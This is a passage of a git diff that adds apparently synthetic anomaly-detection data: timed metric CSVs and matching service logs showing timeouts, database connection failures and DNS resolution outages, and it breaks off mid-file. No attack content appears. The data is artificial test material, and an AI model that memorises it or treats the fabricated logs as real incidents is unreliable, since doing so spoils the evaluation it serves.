nginx[5432]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: 'POST /api/v1/dataupload HTTP/1.1' +Jul 02 10:05:05 nginx[5432]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: 'POST /api/v1/dataupload HTTP/1.1' +Jul 02 10:05:10 kernel: [ 1367.501251 ] net_ratelimit: 12 packets dropped +Jul 02 10:05:20 nginx[5432]: GET /api/v1/health HTTP/1.1 200 +Jul 02 10:05:25 kernel: [ 1376.086736 ] net_ratelimit: 12 packets dropped +Jul 02 10:05:30 nginx[5432]: client intended to send too large body: 5324912 bytes, client: 10.2.8.9, server: _, request: 'POST /api/v1/largeupload HTTP/1.1' +Jul 02 10:05:35 nginx[5432]: client intended to send too large body: 5324912 bytes, client: 10.2.8.9, server: _, request: 'POST /api/v1/largeupload HTTP/1.1' +Jul 02 10:05:40 webapp[1123]: WARN: High latency detected for service 'downstream-service'. current_latency=5000ms +Jul 02 10:05:45 webapp[1123]: WARN: High latency detected for service 'downstream-service'. current_latency=5000ms +Jul 02 10:05:50 nginx[5432]: client intended to send too large body: 5324912 bytes, client: 10.2.8.9, server: _, request: 'POST /api/v1/largeupload HTTP/1.1' +Jul 02 10:05:55 nginx[5432]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: 'POST /api/v1/dataupload HTTP/1.1' +Jul 02 10:06:00 nginx[5432]: client intended to send too large body: 5324912 bytes, client: 10.2.8.9, server: _, request: 'POST /api/v1/largeupload HTTP/1.1' +Jul 02 10:06:05 database[456]: INFO: Query executed successfully. duration=25ms +Jul 02 10:06:10 webapp[1123]: INFO: User 161 fetched profile data +Jul 02 10:06:15 nginx[5432]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: 'POST /api/v1/dataupload HTTP/1.1' +Jul 02 10:06:20 webapp[1123]: ERROR: Connection to payment-gateway timed out after 30000ms +Jul 02 10:06:25 nginx[5432]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: 'POST /api/v1/dataupload HTTP/1.1' +Jul 02 10:06:30 webapp[1123]: ERROR: Connection to payment-gateway timed out after 30000ms +Jul 02 10:06:35 webapp[1123]: ERROR: Connection to payment-gateway timed out after 30000ms +Jul 02 10:06:40 nginx[5432]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: 'POST /api/v1/dataupload HTTP/1.1' +Jul 02 10:06:45 nginx[5432]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: 'POST /api/v1/dataupload HTTP/1.1' +Jul 02 10:06:50 webapp[1123]: ERROR: Connection to payment-gateway timed out after 30000ms +Jul 02 10:06:55 nginx[5432]: client intended to send too large body: 5324912 bytes, client: 10.2.8.9, server: _, request: 'POST /api/v1/largeupload HTTP/1.1' +Jul 02 10:07:00 kernel: [ 1433.274159 ] net_ratelimit: 12 packets dropped +Jul 02 10:07:05 nginx[5432]: upstream timed out (110: Connection timed out) while connecting to upstream, client: 10.1.5.2, server: _, request: 'POST /api/v1/dataupload HTTP/1.1' +Jul 02 10:07:10 webapp[1123]: WARN: High latency detected for service 'downstream-service'. current_latency=5000ms +Jul 02 10:07:15 webapp[1123]: ERROR: Connection to payment-gateway timed out after 30000ms +Jul 02 10:07:20 kernel: [ 1445.016782 ] net_ratelimit: 12 packets dropped +Jul 02 10:07:25 kernel: [ 1448.127695 ] net_ratelimit: 12 packets dropped diff --git a/anom_dataset/scenario_8/anom_8_9.csv b/anom_dataset/scenario_8/anom_8_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..8b2cd63d8d42e7dc802a11d8194f8a124e62aa45 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_9.csv @@ -0,0 +1,91 @@ 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+2025-07-02T10:06:40Z,85.56116432955446,41.72968721500114,22.12198187819353,0.5345835146143988,99.68975620050944 +2025-07-02T10:06:45Z,83.62000062728787,38.51113301730582,23.52834702879559,0.366839079441986,100.83574709698118 +2025-07-02T10:06:50Z,83.94814362701439,40.349323987062874,28.801588779924565,0.49094750058281467,100.5455611781039 +2025-07-02T10:06:55Z,85.81726846423277,38.032212866403526,24.024393102616575,0.5469438710282684,99.20724512854528 +2025-07-02T10:07:00Z,85.5427859073347,39.76617837997906,26.670579020898213,0.5587589104622079,99.45170877619971 +2025-07-02T10:07:05Z,88.23550251502604,38.30917374119791,24.517615223289276,0.3378741420084305,99.64554581525768 +2025-07-02T10:07:10Z,88.73620990536514,38.271500370533445,25.687164198414777,0.44559247373939875,100.15480947244413 +2025-07-02T10:07:15Z,80.64942699943643,40.94255832631958,23.45540500243851,0.5015896216857536,100.29881830477288 +2025-07-02T10:07:20Z,86.68740393913208,40.784445630202235,29.871826081000684,0.4559856320427291,99.29545916556879 +2025-07-02T10:07:25Z,82.57425890983917,41.59730224744404,24.264199098074254,0.34560330982357457,100.04301601477866 diff --git a/anom_dataset/scenario_8/anom_8_9.log b/anom_dataset/scenario_8/anom_8_9.log new file mode 100644 index 0000000000000000000000000000000000000000..e7fe4fb45f19eab6ac687077c2aa3d6a1b227adb --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_9.log @@ -0,0 +1,90 @@ +Jul 02 10:00:00 api-gateway[1122]: INFO 10.0.1.5 - "GET /v1/user/profile HTTP/1.1" 200 +Jul 02 10:00:05 payment-service[2345]: DEBUG transaction_id=68775 status=processed +Jul 02 10:00:10 kubelet[3456]: INFO routine sync completed for pod web-app-1 +Jul 02 10:00:15 kubelet[3456]: INFO routine sync completed for pod web-app-4 +Jul 02 10:00:20 api-gateway[1122]: INFO 10.0.1.5 - "GET /v1/user/profile HTTP/1.1" 200 +Jul 02 10:00:25 payment-service[2345]: DEBUG transaction_id=88141 status=processed +Jul 02 10:00:30 kubelet[3456]: INFO routine sync completed for pod web-app-3 +Jul 02 10:00:35 kubelet[3456]: INFO routine sync completed for pod web-app-2 +Jul 02 10:00:40 api-gateway[1122]: INFO 10.0.1.5 - "GET /v1/user/profile HTTP/1.1" 200 +Jul 02 10:00:45 payment-service[2345]: DEBUG transaction_id=84120 status=processed +Jul 02 10:00:50 kubelet[3456]: INFO routine sync completed for pod web-app-2 +Jul 02 10:00:55 kubelet[3456]: INFO routine sync completed for pod web-app-4 +Jul 02 10:01:00 api-gateway[1122]: INFO 10.0.1.5 - "GET /v1/user/profile HTTP/1.1" 200 +Jul 02 10:01:05 payment-service[2345]: DEBUG transaction_id=88114 status=processed +Jul 02 10:01:10 kubelet[3456]: INFO routine sync completed for pod web-app-1 +Jul 02 10:01:15 kubelet[3456]: INFO routine sync completed for pod web-app-0 +Jul 02 10:01:20 api-gateway[1122]: INFO 10.0.1.5 - "GET /v1/user/profile HTTP/1.1" 200 +Jul 02 10:01:25 payment-service[2345]: DEBUG transaction_id=18180 status=processed +Jul 02 10:01:30 kubelet[3456]: INFO routine sync completed for pod web-app-1 +Jul 02 10:01:35 kubelet[3456]: INFO routine sync completed for pod web-app-0 +Jul 02 10:01:40 api-gateway[1122]: INFO 10.0.1.5 - "GET /v1/user/profile HTTP/1.1" 200 +Jul 02 10:01:45 payment-service[2345]: DEBUG transaction_id=63313 status=processed +Jul 02 10:01:50 kubelet[3456]: INFO routine sync completed for pod web-app-2 +Jul 02 10:01:55 kubelet[3456]: INFO routine sync completed for pod web-app-2 +Jul 02 10:02:00 api-gateway[1122]: INFO 10.0.1.5 - "GET /v1/user/profile HTTP/1.1" 200 +Jul 02 10:02:05 payment-service[2345]: DEBUG transaction_id=93566 status=processed +Jul 02 10:02:10 kubelet[3456]: INFO routine sync completed for pod web-app-3 +Jul 02 10:02:15 kubelet[3456]: INFO routine sync completed for pod web-app-1 +Jul 02 10:02:20 api-gateway[1122]: INFO 10.0.1.5 - "GET /v1/user/profile HTTP/1.1" 200 +Jul 02 10:02:25 payment-service[2345]: DEBUG transaction_id=28941 status=processed +Jul 02 10:02:30 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:02:35 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:02:40 ingress-controller[5678]: ERROR 504 "Gateway Timeout" for request "POST /v1/orders" +Jul 02 10:02:45 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:02:50 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:02:55 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3506ms +Jul 02 10:03:00 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:03:05 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:03:10 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3677ms +Jul 02 10:03:15 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:03:20 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:03:25 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3945ms +Jul 02 10:03:30 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:03:35 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:03:40 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3760ms +Jul 02 10:03:45 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:03:50 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:03:55 ingress-controller[5678]: ERROR 504 "Gateway Timeout" for request "POST /v1/orders" +Jul 02 10:04:00 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:04:05 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:04:10 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 2909ms +Jul 02 10:04:15 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:04:20 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:04:25 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3944ms +Jul 02 10:04:30 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:04:35 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:04:40 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3780ms +Jul 02 10:04:45 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:04:50 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:04:55 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3556ms +Jul 02 10:05:00 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:05:05 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:05:10 ingress-controller[5678]: ERROR 504 "Gateway Timeout" for request "POST /v1/orders" +Jul 02 10:05:15 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:05:20 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:05:25 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3820ms +Jul 02 10:05:30 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:05:35 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:05:40 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3251ms +Jul 02 10:05:45 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:05:50 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:05:55 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 2999ms +Jul 02 10:06:00 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:06:05 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:06:10 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 2838ms +Jul 02 10:06:15 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:06:20 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:06:25 ingress-controller[5678]: ERROR 504 "Gateway Timeout" for request "POST /v1/orders" +Jul 02 10:06:30 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:06:35 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:06:40 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3223ms +Jul 02 10:06:45 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:06:50 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:06:55 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3773ms +Jul 02 10:07:00 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:07:05 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:07:10 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3017ms +Jul 02 10:07:15 api-gateway[1122]: WARN upstream request timeout to user-service +Jul 02 10:07:20 user-service[4567]: ERROR Failed to connect to database: Connection timed out after 3000ms +Jul 02 10:07:25 api-gateway[1122]: INFO 10.0.1.8 - "POST /v1/orders HTTP/1.1" 200, latency: 3147ms diff --git a/anom_dataset/scenario_9/anom_9_1.csv b/anom_dataset/scenario_9/anom_9_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..426b9f4d3b11385d046934d40ed16371f45e4f7e --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,15.99,40.29,28.13,1.09,1.36 +2025-07-03T11:00:05Z,14.72,42.91,20.71,0.51,1.66 +2025-07-03T11:00:10Z,16.3,37.89,19.65,1.03,1.17 +2025-07-03T11:00:15Z,18.05,39.02,27.41,0.8,1.32 +2025-07-03T11:00:20Z,14.53,38.82,23.88,0.6,1.41 +2025-07-03T11:00:25Z,14.53,35.61,28.57,0.89,1.08 +2025-07-03T11:00:30Z,18.16,40.89,27.37,0.84,1.27 +2025-07-03T11:00:35Z,16.53,40.78,24.64,0.68,1.2 +2025-07-03T11:00:40Z,14.06,40.02,20.77,0.81,1.23 +2025-07-03T11:00:45Z,16.09,39.3,17.43,0.72,0.97 +2025-07-03T11:00:50Z,14.07,35.75,22.77,0.82,1.21 +2025-07-03T11:00:55Z,14.07,38.74,29.28,0.93,1.35 +2025-07-03T11:01:00Z,15.48,38.97,26.07,1.12,1.64 +2025-07-03T11:01:05Z,11.17,37.59,18.77,0.55,1.49 +2025-07-03T11:01:10Z,11.55,39.52,25.87,1.23,1.85 +2025-07-03T11:01:15Z,13.88,41.21,26.93,0.41,0.97 +2025-07-03T11:01:20Z,12.97,45.66,20.58,0.77,1.46 +2025-07-03T11:01:25Z,15.63,40.52,25.77,0.92,1.26 +2025-07-03T11:01:30Z,13.18,40.77,25.29,0.86,1.86 +2025-07-03T11:01:35Z,12.18,39.78,19.29,0.68,0.96 +2025-07-03T11:01:40Z,17.93,34.24,26.79,0.76,0.95 +2025-07-03T11:01:45Z,14.55,39.92,27.8,0.7,1.02 +2025-07-03T11:01:50Z,15.14,40.18,30.42,0.68,0.56 +2025-07-03T11:01:55Z,12.15,47.39,30.27,0.97,1.04 +2025-07-03T11:02:00Z,13.91,39.42,18.11,0.87,0.97 +2025-07-03T11:02:05Z,15.22,40.9,20.31,0.66,1.25 +2025-07-03T11:02:10Z,12.7,39.9,27.58,0.98,1.3 +2025-07-03T11:02:15Z,15.75,36.49,27.57,0.86,1.76 +2025-07-03T11:02:20Z,13.8,43.43,27.58,0.96,1.49 +2025-07-03T11:02:25Z,14.42,42.26,44.26,0.93,1.03 +2025-07-03T11:02:30Z,13.8,42.37,27.85,0.04,0.01 +2025-07-03T11:02:35Z,18.7,37.27,30.68,0.02,0.02 +2025-07-03T11:02:40Z,14.97,44.21,29.77,0.03,0.03 +2025-07-03T11:02:45Z,12.88,35.79,28.26,0.01,0.01 +2025-07-03T11:02:50Z,16.65,41.76,23.42,0.01,0.01 +2025-07-03T11:02:55Z,12.56,46.57,28.79,0.0,0.02 +2025-07-03T11:03:00Z,15.42,37.03,21.14,0.01,0.0 +2025-07-03T11:03:05Z,11.08,38.3,23.82,0.01,0.02 +2025-07-03T11:03:10Z,12.34,40.3,22.57,0.01,0.01 +2025-07-03T11:03:15Z,15.39,38.49,25.41,0.0,0.02 +2025-07-03T11:03:20Z,16.48,35.35,36.57,0.01,0.01 +2025-07-03T11:03:25Z,15.34,40.21,15.66,0.02,0.04 +2025-07-03T11:03:30Z,14.77,36.81,28.43,0.01,0.03 +2025-07-03T11:03:35Z,14.4,41.42,16.94,0.02,0.03 +2025-07-03T11:03:40Z,12.04,37.24,22.64,0.03,0.04 +2025-07-03T11:03:45Z,13.56,44.65,30.44,0.03,0.02 +2025-07-03T11:03:50Z,14.08,37.65,25.32,0.0,0.0 +2025-07-03T11:03:55Z,17.11,39.03,19.61,0.04,0.03 +2025-07-03T11:04:00Z,15.69,42.44,21.42,0.03,0.03 +2025-07-03T11:04:05Z,11.47,36.31,28.4,0.0,0.04 +2025-07-03T11:04:10Z,15.65,40.68,21.35,0.04,0.02 +2025-07-03T11:04:15Z,14.23,43.92,26.08,0.05,0.01 +2025-07-03T11:04:20Z,13.65,35.18,25.23,0.0,0.01 +2025-07-03T11:04:25Z,16.22,40.55,21.74,0.01,0.02 +2025-07-03T11:04:30Z,17.06,40.78,35.72,0.04,0.03 +2025-07-03T11:04:35Z,16.86,42.35,28.17,0.04,0.03 +2025-07-03T11:04:40Z,13.32,36.29,14.87,0.01,0.02 +2025-07-03T11:04:45Z,14.38,36.04,25.93,0.01,0.05 +2025-07-03T11:04:50Z,15.66,41.57,21.69,0.02,0.03 +2025-07-03T11:04:55Z,16.95,40.89,29.26,0.02,0.01 +2025-07-03T11:05:00Z,14.04,40.75,21.04,0.03,0.01 +2025-07-03T11:05:05Z,14.63,41.04,24.43,0.02,0.01 +2025-07-03T11:05:10Z,12.79,37.96,27.52,0.02,0.01 +2025-07-03T11:05:15Z,12.61,40.7,29.33,0.04,0.01 +2025-07-03T11:05:20Z,16.63,40.88,19.0,0.0,0.01 +2025-07-03T11:05:25Z,17.71,37.86,23.33,0.01,0.01 +2025-07-03T11:05:30Z,14.86,45.6,22.63,0.04,0.01 +2025-07-03T11:05:35Z,17.01,41.42,21.73,0.04,0.04 +2025-07-03T11:05:40Z,15.72,36.43,33.83,0.03,0.0 +2025-07-03T11:05:45Z,13.71,41.97,27.02,0.03,0.03 +2025-07-03T11:05:50Z,15.72,37.08,18.7,0.64,0.85 +2025-07-03T11:05:55Z,18.08,42.36,29.59,0.85,0.59 +2025-07-03T11:06:00Z,14.93,43.48,35.61,0.85,1.12 +2025-07-03T11:06:05Z,18.13,37.54,30.16,0.7,1.42 +2025-07-03T11:06:10Z,9.76,42.89,17.4,0.71,1.65 +2025-07-03T11:06:15Z,16.64,41.24,22.58,0.85,1.22 +2025-07-03T11:06:20Z,15.17,42.47,31.33,0.51,1.69 +2025-07-03T11:06:25Z,14.4,45.69,21.46,0.52,0.79 +2025-07-03T11:06:30Z,15.18,39.26,27.22,0.66,0.69 +2025-07-03T11:06:35Z,11.02,37.74,28.87,0.76,1.18 +2025-07-03T11:06:40Z,14.56,37.33,20.37,0.86,1.32 +2025-07-03T11:06:45Z,15.71,37.55,24.7,1.1,1.19 +2025-07-03T11:06:50Z,17.96,39.77,8.79,0.97,0.58 +2025-07-03T11:06:55Z,13.96,41.02,19.88,0.77,1.17 +2025-07-03T11:07:00Z,13.38,40.83,23.74,0.8,0.81 +2025-07-03T11:07:05Z,14.0,42.48,18.76,0.6,1.4 +2025-07-03T11:07:10Z,16.83,40.04,33.16,0.8,1.31 +2025-07-03T11:07:15Z,15.66,44.36,17.85,0.74,0.92 +2025-07-03T11:07:20Z,13.94,39.21,22.8,0.86,1.05 +2025-07-03T11:07:25Z,16.03,48.16,25.65,0.63,0.88 diff --git a/anom_dataset/scenario_9/anom_9_1.log b/anom_dataset/scenario_9/anom_9_1.log new file mode 100644 index 0000000000000000000000000000000000000000..ad928a88caf675d1c323437da3b21509061b66f6 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_1.log @@ -0,0 +1,35 @@ +Jul 03 11:00:10 sshd[10004]: Accepted publickey for ubuntu from 192.168.1.105 port 54043 ssh2 +Jul 03 11:00:20 systemd[1]: Started Session 17 of user ubuntu. +Jul 03 11:00:55 nginx[10015]: GET /api/health HTTP/1.1 200 OK +Jul 03 11:01:20 kubelet[10019]: INFO Successfully probed container metrics-collector +Jul 03 11:01:30 sshd[10027]: Accepted publickey for ubuntu from 192.168.1.105 port 40009 ssh2 +Jul 03 11:01:55 cron[10036]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:02:00 kubelet[10037]: INFO Successfully probed container metrics-collector +Jul 03 11:02:15 kubelet[10046]: INFO Successfully probed container metrics-collector +Jul 03 11:02:30 cron[10054]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:02:40 kubelet[10058]: INFO Successfully probed container metrics-collector +Jul 03 11:02:55 app-worker[10064]: ERROR DNS resolution failed for cdn.assets.com: Unknown host +Jul 03 11:03:00 app-worker[10065]: ERROR DNS resolution failed for cdn.assets.com: Unknown host +Jul 03 11:03:05 app-worker[10072]: ERROR Failed to connect to api.external.service: Name or service not known +Jul 03 11:03:10 app-worker[10080]: ERROR Failed to connect to api.external.service: Name or service not known +Jul 03 11:03:15 app-worker[10083]: ERROR DNS resolution failed for cdn.assets.com: Unknown host +Jul 03 11:03:20 app-worker[10090]: ERROR DNS resolution failed for cdn.assets.com: Unknown host +Jul 03 11:03:30 app-worker[10091]: ERROR DNS resolution failed for cdn.assets.com: Unknown host +Jul 03 11:03:35 app-worker[10095]: ERROR DNS resolution failed for cdn.assets.com: Unknown host +Jul 03 11:03:50 kernel: [1751540630.0] nss: lookup `api.external.service`, track_id `123ab`, status `FAIL` +Jul 03 11:04:00 cron[10105]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:04:10 app-worker[10109]: ERROR Failed to connect to api.external.service: Name or service not known +Jul 03 11:04:25 app-worker[10114]: ERROR DNS resolution failed for cdn.assets.com: Unknown host +Jul 03 11:04:35 app-worker[10122]: WARN Could not resolve host: database.internal.net +Jul 03 11:04:40 app-worker[10130]: WARN Could not resolve host: database.internal.net +Jul 03 11:04:45 app-worker[10131]: ERROR Failed to connect to api.external.service: Name or service not known +Jul 03 11:04:50 kernel: [1751540690.0] nss: lookup `api.external.service`, track_id `123ab`, status `FAIL` +Jul 03 11:05:00 app-worker[10136]: ERROR DNS resolution failed for cdn.assets.com: Unknown host +Jul 03 11:05:05 app-worker[10145]: WARN Could not resolve host: database.internal.net +Jul 03 11:05:10 app-worker[10153]: ERROR Failed to connect to api.external.service: Name or service not known +Jul 03 11:05:20 app-worker[10158]: ERROR Failed to connect to api.external.service: Name or service not known +Jul 03 11:05:25 kernel: [1751540725.0] nss: lookup `api.external.service`, track_id `123ab`, status `FAIL` +Jul 03 11:05:35 app-worker[10172]: ERROR DNS resolution failed for cdn.assets.com: Unknown host +Jul 03 11:06:00 nginx[10181]: GET /api/health HTTP/1.1 200 OK +Jul 03 11:06:40 systemd[1]: Started Session 28 of user ubuntu. +Jul 03 11:07:10 cron[10189]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/anom_dataset/scenario_9/anom_9_10.csv b/anom_dataset/scenario_9/anom_9_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..fe727e9c142b552165884de8b63c555fab526e18 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,17.3,44.11,21.75,1.04,0.82 +2025-07-09T10:00:05Z,23.01,39.17,34.68,1.3,1.01 +2025-07-09T10:00:10Z,15.76,35.29,32.53,1.43,0.78 +2025-07-09T10:00:15Z,18.81,42.23,20.12,1.24,0.74 +2025-07-09T10:00:20Z,20.31,38.43,32.09,1.47,0.99 +2025-07-09T10:00:25Z,15.92,41.34,28.65,1.19,0.76 +2025-07-09T10:00:30Z,16.94,35.03,30.18,1.32,0.74 +2025-07-09T10:00:35Z,17.05,41.54,34.26,0.83,1.08 +2025-07-09T10:00:40Z,23.89,35.22,22.98,1.08,0.81 +2025-07-09T10:00:45Z,16.03,42.56,38.48,1.1,0.85 +2025-07-09T10:00:50Z,18.38,44.52,23.11,0.82,1.0 +2025-07-09T10:00:55Z,20.3,40.73,26.67,0.98,0.86 +2025-07-09T10:01:00Z,24.55,41.53,32.98,1.29,0.91 +2025-07-09T10:01:05Z,23.94,37.54,25.04,1.19,1.12 +2025-07-09T10:01:10Z,18.91,41.52,20.1,0.95,1.2 +2025-07-09T10:01:15Z,18.58,37.44,29.65,1.33,1.17 +2025-07-09T10:01:20Z,20.86,38.18,24.81,1.06,1.04 +2025-07-09T10:01:25Z,21.27,40.8,29.41,1.12,0.72 +2025-07-09T10:01:30Z,15.01,36.73,25.75,1.25,0.77 +2025-07-09T10:01:35Z,24.19,44.15,35.25,1.18,0.88 +2025-07-09T10:01:40Z,21.68,40.16,20.61,0.93,1.29 +2025-07-09T10:01:45Z,23.21,43.36,25.44,1.01,0.87 +2025-07-09T10:01:50Z,24.65,36.44,39.69,0.97,1.17 +2025-07-09T10:01:55Z,21.08,38.92,25.79,1.04,0.83 +2025-07-09T10:02:00Z,15.75,42.95,34.33,0.94,1.24 +2025-07-09T10:02:05Z,18.34,44.35,33.95,0.83,0.88 +2025-07-09T10:02:10Z,23.05,38.28,24.55,1.43,0.89 +2025-07-09T10:02:15Z,17.77,35.83,37.3,0.98,1.04 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+2025-07-09T10:04:00Z,21.13,37.39,35.11,0.01,0.08 +2025-07-09T10:04:05Z,17.58,41.11,21.06,0.08,0.0 +2025-07-09T10:04:10Z,17.41,35.71,33.83,0.05,0.0 +2025-07-09T10:04:15Z,18.46,43.31,27.88,0.08,0.1 +2025-07-09T10:04:20Z,24.56,37.85,25.73,0.01,0.07 +2025-07-09T10:04:25Z,17.31,37.29,22.48,0.03,0.1 +2025-07-09T10:04:30Z,19.68,43.44,38.62,0.03,0.04 +2025-07-09T10:04:35Z,22.88,43.61,20.13,0.09,0.01 +2025-07-09T10:04:40Z,23.46,42.64,30.26,0.02,0.03 +2025-07-09T10:04:45Z,19.46,43.84,38.03,0.03,0.07 +2025-07-09T10:04:50Z,24.69,41.09,29.69,0.06,0.07 +2025-07-09T10:04:55Z,21.94,43.55,28.16,0.07,0.01 +2025-07-09T10:05:00Z,17.66,42.37,20.42,0.92,0.92 +2025-07-09T10:05:05Z,16.61,43.72,21.19,1.47,0.74 +2025-07-09T10:05:10Z,23.96,44.77,32.95,1.45,0.83 +2025-07-09T10:05:15Z,16.85,39.39,24.55,0.85,0.79 +2025-07-09T10:05:20Z,20.88,43.01,36.79,0.96,1.28 +2025-07-09T10:05:25Z,22.12,36.88,20.75,1.34,1.09 +2025-07-09T10:05:30Z,24.41,39.07,22.17,1.17,0.73 +2025-07-09T10:05:35Z,22.84,41.11,26.25,1.09,0.94 +2025-07-09T10:05:40Z,18.56,39.26,39.4,1.33,1.26 +2025-07-09T10:05:45Z,18.38,41.05,37.39,1.05,0.9 +2025-07-09T10:05:50Z,16.18,42.36,23.92,1.02,0.71 +2025-07-09T10:05:55Z,21.63,39.03,20.15,1.43,1.01 +2025-07-09T10:06:00Z,15.91,42.83,36.52,0.81,0.87 +2025-07-09T10:06:05Z,21.34,44.23,33.28,1.17,1.05 +2025-07-09T10:06:10Z,17.93,40.29,27.78,1.19,1.24 +2025-07-09T10:06:15Z,16.77,36.01,31.08,1.38,0.71 +2025-07-09T10:06:20Z,21.06,37.64,36.78,1.33,1.18 +2025-07-09T10:06:25Z,23.14,35.54,37.09,1.34,1.27 +2025-07-09T10:06:30Z,23.02,42.07,37.33,0.8,0.7 +2025-07-09T10:06:35Z,24.36,38.54,32.28,0.89,1.12 +2025-07-09T10:06:40Z,17.43,43.84,26.82,1.21,1.0 +2025-07-09T10:06:45Z,20.6,35.34,26.0,1.47,1.27 +2025-07-09T10:06:50Z,22.66,39.15,23.33,0.94,0.76 +2025-07-09T10:06:55Z,15.53,42.59,29.9,1.06,0.88 +2025-07-09T10:07:00Z,16.07,37.88,28.31,0.82,0.88 +2025-07-09T10:07:05Z,24.19,38.8,32.86,1.0,0.78 +2025-07-09T10:07:10Z,23.16,35.31,28.48,1.38,1.19 +2025-07-09T10:07:15Z,17.96,35.55,25.54,0.87,0.8 +2025-07-09T10:07:20Z,18.28,41.08,28.72,1.07,1.18 +2025-07-09T10:07:25Z,20.67,41.34,24.12,0.94,0.95 diff --git a/anom_dataset/scenario_9/anom_9_10.log b/anom_dataset/scenario_9/anom_9_10.log new file mode 100644 index 0000000000000000000000000000000000000000..8c9a19ff2f8824e23f0de70f1b3f7dd88b9bbf8d --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_10.log @@ -0,0 +1,26 @@ +Jul 09 10:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 09 10:00:40 web-app[1234]: GET /api/v1/health 